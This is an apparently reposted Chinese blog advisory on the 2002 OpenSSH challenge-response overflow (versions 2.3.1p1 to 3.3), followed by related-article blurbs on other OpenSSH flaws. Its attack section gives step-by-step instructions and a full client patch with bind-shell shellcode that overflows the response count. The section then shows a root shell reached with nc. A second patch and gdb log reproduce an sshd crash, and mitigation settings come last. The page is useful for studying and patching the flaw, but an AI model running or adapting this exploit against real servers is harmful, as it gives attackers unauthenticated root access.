OpenSSH缺陷允许攻击者远程利用/非法执行任意代码

PuTTY密钥配置避坑指南:从生成到VPS登录的全链路解析 SSH密钥认证是Linux服务器安全访问的基础机制,其核心原理是基于非对称加密的公私钥配对验证。技术价值在于替代密码登录、抵御暴力破解、支撑自动化运维。典型应用场景包括云服务器(腾讯云/甲骨文/阿里云)远程管理、VS Code Remote-SSH开发、WinSCP文件传输等。实践中常见故障如'Authentication refused'、'no buffer space'或公钥格式不兼容,多源于PuTTYgen与OpenSSH生态的格式鸿沟及sshd服务端权限校验严格性。本文聚焦PuTTY密钥工作流的四 阅读详情
涉及程序:
OpenSSH versions 2.3.1p1 ~ 3.3

描述:
OpenSSH缺陷允许攻击者远程利用/非法执行任意代码(更新)

详细:
在OpenSSH 2.3.1p1到3.3版本中,关于挑战反应处理代码存在安全性缺陷。允许远程入侵者以sshd(通常是root)进程的身份执行任意指令。
第一个缺陷是因为在挑战反应认证过程中,OpenSSH在处理关于收到的响应次数的变量上存在整型溢出风险,如果挑战反应设置为打开,并且系统使用SKEY或者BSD_AUTH认证选项,则允许攻击者利用此缺陷远程执行任意指令。这个漏洞已经被证实。
第二个缺陷牵涉到使用交互式键盘认证的PAM模块, OpenSSH 2.3.1p1~3.3版本。OpenSSH在处理关于收到的响应次数的变量上存在缓冲溢出风险,不论挑战反应设置如何,系统使用交互式键盘认证的PAM模块(PAMAuthenticationViaKbdInt),可能会导致允许远程非法执行指令的风险。目前尚未有代码证实是否能达到攻击效果。
对这两个缺陷的攻击,都建立在使用SSH ver2的版本特征上。
多个Linux/Unix平台受该漏洞影响。
多个Linux组织和厂商为此发布安全公告。

攻击方法:

1. 下载 openssh-3.2.2p1.tar.gz 并解压

~ $ tar -xvzf openssh-3.2.2p1.tar.gz

2. 执行提供的补丁: (将下方红色字体段落存为补丁文件)

~/openssh-3.2.2p1 $ patch < path_to_diff_file

3. 编译已经打过补丁的OpenSSH客户端:

~/openssh-3.2.2p1 $ ./configure && make ssh

4. 运行ssh:

~/openssh-3.2.2p1 $ ./ssh root:skey@localhost

5. 如果成功,则可连接128端口

~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)

(除此之外,bugtraq.org提供了一个打过补丁的SSH攻击客户端:sshutup-theo.tar.gz)


--- sshconnect2.c Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
/*
* parse INFO_REQUEST, prompt user and send INFO_RESPONSE
*/
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+ int server_sock, client_sock, len;
+ struct sockaddr_in server_addr;
+ char rootshell[12], *argv[2], *envp[1];
+
+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+ server_addr.sin_addr.s_addr = 0;
+ server_addr.sin_port = 32768;
+ server_addr.sin_family = AF_INET;
+ do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr,
16 );
+ do_syscall( 2, 106, server_sock, 1 );
+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+ &server_addr, &len );
+ do_syscall( 2, 90, client_sock, 0 );
+ do_syscall( 2, 90, client_sock, 1 );
+ do_syscall( 2, 90, client_sock, 2 );
+ * (int *) ( rootshell + 0 ) = 0x6E69622F;
+ * (int *) ( rootshell + 4 ) = 0x0068732f;
+ * (int *) ( rootshell + 8 ) = 0;
+ argv[0] = rootshell;
+ argv[1] = 0;
+ envp[0] = 0;
+ do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+ int ret;
+ asm(
+ "mov 8(%ebp), %eax; "
+ "add $3,%eax; "
+ "shl $2,%eax; "
+ "add %ebp,%eax; "
+ "mov 8(%ebp), %ecx; "
+ "push_args: "
+ "push (%eax); "
+ "sub $4, %eax; "
+ "loop push_args; "
+ "mov 12(%ebp), %eax; "
+ "push $0; "
+ "int $0x80; "
+ "mov %eax,-4(%ebp)"
+ );
+ return( ret );
+}
+
void
input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
{
@@ -865,7 +915,7 @@
xfree(inst);
xfree(lang);

- num_prompts = packet_get_int();
+ num_prompts = 1073741824 + 1024;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
*/
packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
packet_put_int(num_prompts);
+
+ for( i = 0; i < 1045; i++ )
+ packet_put_cstring( "xxxxxxxxxx" );
+
+ packet_put_string( shellcode, 2047 );
+ packet_send();
+ return;

debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {


解决方案:
将OpenSSH升级到3.4版本。
http://www.openssh.com/txt/preauth.adv
禁止 SSH 协议 ver 2
在 /etc/ssh/sshd_config: 增加下面这行:
Protocol 1

禁止挑战反应认证
对于OpenSSH 2.9以上版本,管理员可以禁止挑战反应认证选项:
在 /etc/ssh/sshd_config 增加一行:

ChallengeResponseAuthentication no
默认情况下是设置为 yes

禁止PAM模块:
/etc/ssh/sshd_config:
PAMAuthenticationViaKbdInt no

老版本下禁止两个选项(2.3.1p1 and 2.9)
KbdInteractiveAuthentication no
ChallengeResponseAuthentication no

使用权限限制最小化影响:
/etc/ssh/sshd_config:
UsePrivilegeSeparation yes

多个Unix平台受此漏洞影响,已经有多个Unix vendor发布安全公告:
Debian Security Advisory DSA-134-4
NetBSD Security Advisory SA2002-005
OpenPKG Security Advisory
SuSE Security Announcement
Trustix Secure Linux

附加信息:
How to reproduce OpenSSH Overflow.

The R7 team did a little investigating into one of the OpenSSH
vulnerabilities.

The following are instructions on how to reproduce a segmentation
violation in sshd (v3.2.3p1):

0.) Compile with PAM and S/KEY support.

1.) Apply the following patch to the ssh client:

- --- sshconnect2.c.bak Thu Jun 27 11:54:54 2002
+++ sshconnect2.c Thu Jun 27 11:56:27 2002
@@ -866,6 +866,7 @@
xfree(lang);

num_prompts = packet_get_int();
+ num_prompts = 2;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@

debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
+ if ( i == 0 ) {
prompt = packet_get_string(NULL);
echo = packet_get_char();

response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- -
+ }
packet_put_cstring(response);
- - memset(response, 0, strlen(response));
+ /*memset(response, 0, strlen(response));
xfree(response);
- - xfree(prompt);
+ xfree(prompt);*/
}
packet_check_eom(); /* done with parsing incoming message. */

2.) Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'.

3.) Connect to sshd using the modified client.
Note: valid credentials are not required.


On the server side, you'll see:

[root@wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)


Comments are much appreciated.

- Joe

【OpenSSH】紧急警报!新发现的OpenSSH漏洞,安全界面临严峻考验 近日,网络安全领域再次拉响警报,OpenSSH 爆出新的高危漏洞 CVE-2024-6387,该漏洞允许攻击者在受影响的 Linux 系统上执行任意代码。本文将详细解析漏洞详情,并提供必要的安全防护措施。 阅读详情

相关推荐

OpenSSH漏洞CVE-2023-51385可能允许远程执

被跟踪为CVE-2023-51385的漏洞源于在 OpenSSH 中使用 ProxyCommand 或 ProxyJump 功能时在某些情况下对用户提供的输入验证不足。如果成功利用,该缺陷可能会被用来绕过身份验证并获得对运行易受攻击的 OpenSSH 版本的系统的未经授权的远程访问。,所有受影响的用户应紧急更新到最新的 OpenSSH 版本 9.6p1,其中包含此缺陷的修复程序。用户还应该谨慎对待来自不受信任来源的主机名。这表明该漏洞是真实存在的,远程攻击者在适当的情况下是可以利用的。

极道Jdon的技术博客 3110

解决MobaXterm无法连接虚拟机问题总结

#This is the ssh client system-wide configuration file. See #ssh_config(5) for more information. This file provides defaults for #users, and the values can be changed in per-user configuration files #or on the command line.#Configuration data is parsed a

qq_41663505的博客 9111

Ubuntu 18.04 安全远程命令执行:为什么必须用 OpenSSH 而非 nsh

远程命令执行是Linux系统管理的基础能力,其核心在于加密通信、身份认证与操作审计三大安全支柱。OpenSSH作为经过25年生产验证的工业级协议,通过DH密钥交换、主机密钥校验、公钥认证、HMAC完整性保护及系统级日志等纵深防御机制,为Ubuntu 18.04提供了开箱即用的安全远程通道。而所谓‘nsh’既非官方支持组件,也不具备同等协议级安全保障,多为拼写误写、私有封装或废弃工具;盲目引入反而扩大攻击面。本文基于Ubuntu 18.04+ESM长期支持环境,详解如何利用原生OpenSSH实现端口加固、密钥

weixin_30411819的博客 500

/etc/ssh/sshd_config的 PasswordAuthentication PermitRootLogin ClientAliveCountMax ClientAliveInterval

与远程登陆相关 , #PasswordAuthentication yes 这个选项允许远程登陆用密码来认证, 但加了号, 不会起作用 将前面的去掉, 变为 可以允许远程用密码登录认证#PermitRootLogin prohibit-password 设为 允许root远程登陆与远程连接保持相关 , 不直接修改, 而是在 下建立一个 Mysshd.conf 配置文件 并重启sshd.service服务 因为 的默认值就是 , 所以可以不设置 来个进入 文件夹 的命令, 方便复制 查看 文

kfepiza的博客 1万+

OpenSSH ProxyCommand安全绕过漏洞CVE-2025-61984深度解析与防御

SSH(Secure Shell)是广泛用于远程登录和加密数据传输的基础网络协议,其安全性依赖于客户端与服务器的配置及实现。在SSH客户端中,配置解析逻辑负责处理连接参数,是安全模型的关键环节。CVE-2025-61984漏洞揭示了OpenSSH客户端在解析特定畸形配置数据时存在逻辑缺陷,导致其安全边界被突破。该漏洞的核心价值在于警示我们,即使像OpenSSH这样经过严格审计的软件,其配置处理模块也可能存在隐蔽的解析风险,从而可能被用于权限提升或横向移动。在自动化运维、跳板机管理以及CI/CD流水线等高度依

cunfuteng7334的博客 384

OpenSSH UseRoaming漏洞禁用指南:CVE-2016-0777/778安全加固实操

OpenSSH是一种广泛使用的安全远程登录协议实现,其客户端通过SSH协议建立加密通道,保障身份认证与数据传输机密性。UseRoaming是OpenSSH 5.4引入的会话漫游功能,因内存校验缺失,导致CVE-2016-0777(信息泄露)和CVE-2016-0778(远程代码执行)两大高危漏洞。该漏洞影响所有OpenSSH 7.3p1之前客户端,攻击者可借恶意服务器窃取本地私钥或执行任意代码。禁用UseRoaming是成本最低、见效最快的缓解措施,适用于CentOS 7、Kylin V10等国产化环境及离

weixin_30570101的博客 369

SSH访问报错:ssh_exchange_identification: read: Connection reset by peer、Permission denied (publickey,key

SSH认证失败问题分析与解决 摘要:本文分析了SSH连接中常见的"Connection reset by peer"和"Permission denied"错误,主要原因包括源地址限制和认证方法不匹配。重点探讨了SSH支持的六种认证方法(gssapi-with-mic、hostbased、keyboard-interactive、none、password、publickey)及其安全特性,推荐使用公钥认证。解决方案包括修改sshd_config配置文件中的Authe

刘元林的博客 1万+

OpenSSH CVE-2024-6387漏洞深度解析:原理、影响与修复指南

信号处理是Unix/Linux系统中进程间通信的基础机制,用于异步通知事件。当信号处理器调用非异步信号安全的函数时,可能因竞争条件破坏程序内存状态,这是许多高危漏洞的根源。这种内存破坏在特定条件下可被引导,通过操控堆内存布局实现任意代码执行,对系统安全构成严重威胁。OpenSSH作为最广泛使用的远程管理协议,其服务器守护进程sshd中存在的此类信号竞争条件漏洞,直接影响无数服务器的安全边界。本文聚焦于CVE-2024-6387这一OpenSSH近20年来首个远程代码执行漏洞,详细拆解其从信号竞争到RCE的利

weixin_30878501的博客 386

[Linux] 如何禁止使用口令只允许使用密钥建立 SSH 连接

1. 创建 SSH KEY     使用 ssh-keygen 生成一个密钥对,并且将公钥注册到服务器的 $HOME/.ssh/authorized_keys 文件。   2. 确保启用 SSH 公钥认证功能     查看 /etc/ssh/sshd_config 文件,确保以下两条为 yes: RSAAuthentication yes PubkeyAuthenticatio...

weixin_34107739的博客 271

【CVE-2025-61984】利用 ProxyCommand 漏洞执行远程代码的 OpenSSH 漏洞(内附 wp + POC)

安全研究人员发现了 OpenSSH 的 ProxyCommand 功能中的一个严重漏洞,该漏洞使远程攻击者能够在客户端系统上执行任意代码。该缺陷编号为 CVE-2025-61984,是由于扩展 ProxyCommand 字符串时对用户名中的控制字符过滤不充分而引起的。已经发布了一个概念验证]漏洞,展示了跨多个 shell 的这种技术,促使依赖 SSH 代理配置的组织采取紧急行动。

weixin_47075747的博客 917

Kolla 容器化 高可用OpenStack 部署与 Ceph 集群集成

本文介绍了 Kolla 项目在容器化 OpenStack 部署和管理方面的应用,以及与 Ceph 集群的集成。Kolla 项目通过容器技术提供了一种简化和自动化的 OpenStack 部署方法,同时实现了易于升级和回滚的特点。本文还探讨了 Kolla 在实现零宕机升级方面的进展,并分析了其对 OpenStack 用户和社区的重要意义。

we22635的博客 2703

OpenSSH漏洞预警:无需用户交互,可提权至 root

OpenSSH 自 1995 年问世近 20 年来,首次出现了未经验证的远程执行(RCE)漏洞,攻击者可以提权至 root 最高权限,在不需要用户交互的情况下执行任意代码。OpenSSH 是一套基于 Secure Shell(SSH)协议的网络实用程序,广泛用于安全远程登录、管理远程服务器,通过 scp 或 sftp 备份、远程文件传输等功能。

wananxuexihu的博客 1163

别再乱点U盘里的.exe了!手把手教你彻底清除那个伪装成Usb Disk的蠕虫病毒

本文详细介绍了如何识别、清除和预防伪装成Usb Disk的蠕虫病毒。从识别感染迹象到安全备份文件,再到深度清理病毒残留和构建防护策略,提供了一套完整的U盘病毒解决方案。特别提醒用户注意U盘病毒的风险,并养成良好的使用习惯。

weixin_30496999的博客 670

Linux远程溢出攻击,OpenSSH 溢出攻击方法-Cisco频道-中国IT实验室

在OpenSSH 2.3.1p1到3.3版本中,关于挑战反应处理代码存在性缺陷。允许远程入侵者以sshd(通常是root)进程的身份执行任意指令。第一个缺陷是因为在挑战反应认证过程中,OpenSSH在处理关于收到的响应次数的变量上存在整型溢出风险,如果挑战反应设置为打开,并且系统使用SKEY或者BSD_AUTH认证选项,则允许攻击者利用此缺陷远程执行任意指令。这个漏洞已经被证实。第二个缺陷牵涉到使...

weixin_30854435的博客 526

Python广度优先搜索BFS - 蓝桥13届省赛污染海域

请问这片N * M海域中有几块是没被污染的独立海域(没被污染的独立海域是指该块海域上下左右被已污染的海域包围,且N * M以外的海域都为已被污染的海域)有一片海域划分为N * M个方格,其中有些海域已被污染(用0表示),有些海域没被污染(用1表示)。第二行开始输入N行,每行M个数字(数字只能为1或者0,1表示没被污染的海域,0表示已被污染的海域)这块4 * 5的海域,有3块海域(绿色)没被污染,因为每一块的上下左右都被污染的海域包围。输出一个整数,表示N * M的海域中有几块是没被污染的独立海域。

m0_69865359的博客 265

支付宝H5支付唤醒协议全解析:从alipays://到动态orderSuffix的抓取与拼接

本文深入解析支付宝H5支付唤醒协议,从alipays://协议设计到动态orderSuffix参数的抓取与拼接,详细介绍了支付宝H5支付的底层机制。内容包括协议架构剖析、动态令牌生成与捕获、浏览器兼容性解决方案以及安全机制设计,为开发者提供全面的技术指南和实践建议。

weixin_27972919的博客 3500

修复 Qualys 报告的 OpenSSH 8.7 “regreSSHion” Vulnerable SSH-2.0-OpenSSH_8.7 detected on port 22 over TCP.

Qualys 报告中提到的 OpenSSH 8.7 漏洞,其核心指向了近期被披露的,安全社区也称之为 “regreSSHion”。这个名字巧妙地揭示了它的本质——一个在旧版本中已被修复,却在后续版本中意外“回归”的严重缺陷。漏洞类型: 远程代码执行 (Remote Code Execution, RCE)影响版本: OpenSSH 8.5p1 至 9.8p1威胁级别: 严重 (Critical)Qualys 报告的 OpenSSH 8.7 漏洞是一个真实且迫在眉睫的威胁。

深入一点你会更加快乐 1197

昆仑通态,自由串口通讯

软件默认无该功能,需要问客服索要扩展包。

cfqq1989的博客 1540

OpenSSH高危漏洞CVE-2023-38408应急响应与修复实战指南

远程代码执行(RCE)是网络安全领域最严重的威胁之一,它允许攻击者在目标系统上执行任意命令,从而完全控制系统。其原理通常是利用软件中的内存安全漏洞或逻辑缺陷,绕过安全边界。在Linux/Unix生态中,OpenSSH作为最核心的远程管理组件,其安全性至关重要。CVE-2023-38408正是一个存在于OpenSSH ssh-agent中的高危远程代码执行漏洞,CVSS评分高达8.1。该漏洞的独特之处在于其通过SSH代理转发机制和PKCS#11共享库加载路径的缺陷触发,使得配置了代理转发(ssh -A)的客户

weixin_34384681的博客 487

PICO G2 4K Unity开发环境配置完全指南

VR开发中,Android平台的硬件适配与Unity版本兼容性是基础性技术命题。PICO G2 4K作为基于骁龙845+Android 8.1的专用VR一体机,其开发链路高度依赖特定Unity LTS版本(2020.3.41f1)、NDK r21e及OpenJDK 11等工具链组合,本质是嵌入式Android VR Runtime与Unity IL2CPP ABI的深度对齐问题。该配置方案不仅解决ADB识别、APK签名、Logcat捕获等工程痛点,更支撑手柄6DoF追踪、射线交互、Haptic反馈等核心XR

weixin_30298497的博客 618

【QNX+Android虚拟化方案】01 - 芯片介绍

【QNX+Android虚拟化方案】01 - 芯片介绍

|~~~热爱生活、努力学习的小伙汁~~~| 2947

Openssh 最新漏洞及修复指导

近期安全扫描发现,OpenSSH(OpenBSD Secure Shell) 9.7p1及之前版本中存在多个漏洞,影响大部分开源版本,如下所示,更多参看版本说明和厂商安全公告受影响版本漏洞编号漏洞说明修复版本OpenSSH 9.7p1及之前版本其中,scp的scp.c文件存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。

企业实战系列集 ●●● https://ximenjianxue.blog.youkuaiyun.com 7506

Arduino与Proteus仿真实例-HG7881(L9110)驱动直流电机仿真

HG7881(L9110)驱动直流电机仿真 HG7881 (L9110) 双通道电机驱动器模块。 HG7881 (L9110) 是一款紧凑型电机驱动芯片,支持 2.5-12V 电压范围,800mA 连续电流。 这些芯片具有内置输出钳位二极管以保护敏感的微控制器电子设备。 它们适用于非常小的机器人项目。 每个 HG7881 (L9110) 芯片都能够使用两个数字控制输入驱动单个直流电机。 一个输入用于选择电机方向,而另一个用于控制电机速度。 速度是通过使用 PWM 脉冲宽度调制来控制的。 电机驱动器通常具有

视觉与物联智能 3050

Regresshion漏洞本质:glibc 2.39+与OpenSSH信号竞态原理及防御

Regresshion(CVE-2024-6387)并非传统远程代码执行漏洞,而是一种由用户态信号处理逻辑退化引发的条件型竞态缺陷。其核心在于OpenSSH特权分离机制与glibc 2.39+中__pthread_kill_internal优化之间的时序冲突,导致SIGALRM触发下子进程栈损坏与内存重用。该漏洞不依赖堆溢出或类型混淆,而是利用信号投递、线程创建与资源清理间的微秒级窗口,具备高隐蔽性与低可检测性。技术价值体现在对Linux系统安全模型的深层挑战——它揭示了C库演进与上层服务兼容性之间被长期忽

weixin_34216107的博客 557

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

为什么CVE-2024-6387这么危险?深入解析OpenSSH近20年来首个RCE漏洞

本文深入解析了OpenSSH近20年来首个无需认证的远程代码执行漏洞CVE-2024-6387。该漏洞源于glibc环境下sshd信号处理器中的竞赛条件,攻击者可利用登录超时机制触发内存破坏,从而远程获取系统权限。文章详细剖析了其危险性、影响范围,并提供了从应急排查到安全升级的完整修复方案与纵深防御建议。

pluto的博客 696

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

Bash破壳漏洞分析:原理详解与远程利用方式

Shellshock漏洞(CVE-2014-6271)是2014年在Bash shell中发现的一个严重安全缺陷。它允许攻击者通过构造特殊的环境变量,在目标系统上远程执行任意命令。

2509_93883384的博客 312

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

上一篇: UNIX入侵过程(3)
下一篇: redhat7本地利用ping拿root漏洞详析
bmsdr
博客等级 码龄22年 11粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值